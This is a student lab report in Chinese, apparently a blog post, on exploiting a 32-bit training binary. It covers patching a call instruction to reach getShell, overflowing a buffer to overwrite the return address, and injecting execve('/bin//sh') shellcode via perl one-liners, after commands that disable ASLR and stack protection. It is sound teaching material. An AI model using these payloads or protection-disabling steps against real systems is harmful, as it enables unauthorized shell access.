2019-2020-2《网络对抗技术》 Exp1 PC平台逆向破解

一、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 预设条件

    1.关闭堆栈保护(gcc -fno-stack-protector)
    2.关闭堆栈执行保护(execstack -s)
    3.关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
    4.在x32环境下
    5.在Linux实践环境
    

二、基础知识

1. 管道 |

利用 Linux 所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。

2. Shell 输入/输出重定向

命令 说明
command > file 将输出重定向到 file
command < file 将输入重定向到 file
command >> file 将输出以追加的方式重定向到 file
n > file 将文件描述符为 n 的文件重定向到 file
n >> file 将文件描述符为 n 的文件以追加的方式重定向到 file
n >& m 将输出文件 m 和 n 合并
n <& m 将输入文件 m 和 n 合并
<< tag 将开始标记 tag 和结束标记 tag 之间的内容作为输入

3. NOP, JNE, JE, JMP, CMP汇编指令的机器码

汇编指令 功能 机器码
NOP 无作用 90
JNE 若不相等则转移 75
JE 若相等则转移 74
JMP 无条件转移 eb
CMP 比较 39

4. 反汇编与十六进制编程器

  • objdump 命令

    Linux下的反汇编目标文件或者可执行文件的命令 。

  • objdump -d 参数

    --disassemble :从objfile中反汇编那些特定指令机器码的section。

    更多参数查看官方文档

  • 十六进制编程器 = vi/vim + xxd

    利用 vi/vim 调用外部十六进制文件显示命令 xxd 即可编辑二进制文件。

    • 查看模式下,%!xxd 将当前文本转换为16进制格式显示;
    • 查看模式下,%!xxd -r 将当前文件转换回文本格式显示。

    注意:在使用 %!xxd -r 恢复格式之前,不能 :w 保存文件,否则可执行文件无法执行。

5. 能正确修改机器指令改变程序执行流程

  • 实践内容A

6. 能正确构造payload进行bof攻击

  • 实践内容B

三、实践内容

A. 直接修改程序机器指令,改变程序执行流程

  1. 下载、解压、复制原文件

  2. objdump -d xxxxxxxxpwn1 反汇编

    • call 8048491 对应机器指令 e8 d7ffffff ,含义为 eip = eip + 偏移量

    • 正常流程:

    当前 eip 值为 80484ba ,偏移量为 d7ffffff(补码,表示-41),新 eip 为80484ba + d7ffffff = 8048491

    • 改变程序执行流程为 <getShell>

    新 eip 为80484ba + 偏移量 = 0804847d ,计算得偏移量 c3ffffff

  3. 修改程序机器指令

    • cp xxxxxxxxpwn1 xxxxxxxxpwn2

    • vim xxxxxxxxpwn2 打开文件后为乱码

    • 查看模式下,%!xxd 将当前文本转换为16进制格式显示;

    • \e8 d7 从头开始查找 e8 d7

    • 查看模式下,%!xxd -r 将当前文件转换回文本格式显示。

    • :wq 保存退出。

  4. 再次反汇编查看修改结果objdump -d xxxxxxxxpwn1

B. 通过构造输入参数,造成BOF攻击,改变程序执行流程

  1. objdump -d xxxxxxxxpwn3 反汇编观察 <foo> 函数

    • 得到 lea -0x1c(%ebp),%eax 指令,分析:

    %ebp + 0x1c 地址,并将其传送到目的操作数单元 %eax

    0x1c 为 28字节,%eax 为 4 字节,需溢出 4 字节。

    • 得:缓冲区:28 + 4 = 32 字节; 同时在堆栈上压上返回地址值 0x80484ba
  2. 确认覆盖返回地址

    • gdb xxxxxxxxpwn3 进行调试;

      r 开始运行;

      输入 123456789a123456789a123456789a123456123456789a 表示 10 位,其中 3456 为 33-36位。

    • 超出缓冲区显示:Program received signal SIGSEGV, Segmentation fault.

    • eip 0x36353433 0x36353433 为 ASCII 5 值。确认覆盖返回地址。

  3. 构造输入字符串

    • Shell 重定向输出为文件:

      perl -e 'print "123456789a123456789a123456789a12\x7d\x84\x04\x08\x0a"' > input
      
    • xxd input :16进制查看指令查看input文件的内容是否如预期。

    • (cat input; cat) | ./xxxxxxxxpwn3

      cat input; cat 的输出,通过管道符“|”,作为 xxxxxxxxpwn3 的输入。

C. 注入Shellcode并执行

  1. 检查 execstack 安装情况

  2. 准备、初始设置

    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space 
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space 
    
  3. anything+retaddr+nops+shellcode 构造成功攻击buf的结构(成功)

    • gdb 来调试 xxxxxxxxpwn4 这个进程。

      a. ps -ef | grep pwn 查看进程号;
      b. 另一终端使用 gdb ,调用进程 attach 4148
      c. 反汇编 <foo> 函数 disassemble foo
      d. 设置 ret 断点 break *0x080484ae
      e. 另一终端按下回车
      f. 再回到 gdb 终端输入 c 继续运行;
      g. info r esp 查看 %esp 的值;
      h. x/16x 0x........ 显示 shellcode 前的起始地址:

    • 得到:

      0x01020304 对应内存地址 0xffffd69c

      0xffffd69c 后 4 字节是 shellcode 的起始地址:

      0xffffd6a0

    • 由此更改老师注入代码,前 4 个 \x 数据。

      perl -e 'print "A" x 32;print "\xa0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
      
    • (cat input_shellcode;cat) | ./xxxxxxxxpwn4 注入:

四、应跳过的坑:nops+shellcode+retadd 构造攻击buf的结构

  • 大部分操作步骤同上:anything+retaddr+nops+shellcode 构造成功攻击buf的结构。

  • 主要是 nops+shellcode+retadd 构造的,注入shellcode运行后失败:

    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    

五、总结

1. 实验收获与感想

这是第一次做“利用漏洞对一段程序进行攻击”的相关实验。在我看来没有什么问题的代码,却隐藏着危害非常大的漏洞。对于以后程序的编写,特别是对于C语言之类(标准 C 语言函数库提供了一些没有边界检查的字符串处理函数), 我会更加重视。

2. 什么是漏洞?漏洞有什么危害?

(1) 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
(2)  不同的平台、不同的设备、不同的方面上的漏洞会产生不同危害。
系统漏洞:被不法者利用,通过网络植入木马、病毒等方式来攻击或控制整个电脑,窃取电脑中的重要资料和信息,甚至破坏系统。
网站漏洞:数据库信息泄漏、网页篡改、数据库被恶意操作、服务器被远程控制、破坏硬盘数据、全系统瘫痪等等。
posted @ 2020-03-04 16:27  Yogile  阅读(344)  评论(0编辑  收藏  举报